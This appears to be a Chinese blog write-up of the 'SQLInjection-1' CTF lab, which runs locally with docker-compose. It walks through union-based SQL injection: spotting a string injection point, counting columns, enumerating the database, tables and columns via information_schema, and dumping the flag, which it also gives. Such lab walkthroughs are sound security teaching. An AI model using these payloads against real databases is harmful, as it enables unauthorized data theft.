SQLInjection-1


SQLInjection-1

前言

先说一下大体上的流程吧,这是一个注入类的题目,行文安排大概是说一下思路,以及各种中间的过程,以及最后给出 flag

部署环境

这里使用的是 docker-compose 下面给出配置文件,直接保存运行即可。

配置文件

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

随后直接使用浏览器访问 localhost 即可。

思路 & 解题过程

判断注入类型

  • id=1 and 1=2 -- -id=1界面相同,证明不是数字注入
  • id=1' and 1=2 -- -id=1界面不同,证明是字符注入

测试列数

  • id=1' union select 1,2,3 -- -id=1界面相同
  • id=1' union select 1,2,3,4 -- -id=1界面不同
  • 也可用id=1' order by 3 -- -id=1' order by 4 -- -的差异判断有三列数据

获取库名

上面的列数和注入类型已经判断出来了,这里观察一下 1、2、3 三个数字是不是都有回显,然后确定语句的位置。最终发现。

获取库名 note

  • id=-1' union select 1,database(),3 -- -

获取表名

  • id=-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='note' -- -

最终获得表名:fl4gnotes

获取字段名

这里猜测最终的答案是在 fl4g 表中,所以先对这个表进行测试注入,不行的话再换另一个。

  • id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='fl4g' -- -

最终获得字段名:fllllag

flag

  • id=-1' union select 1,group_concat(fllllag),3 FROM fl4g -- -

最终得到 flag 是:`n1book{union_select_is_so_cool}`**

总结

总体而言,主要是判断出注入点的类型,其他的都是一些常规的操作。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录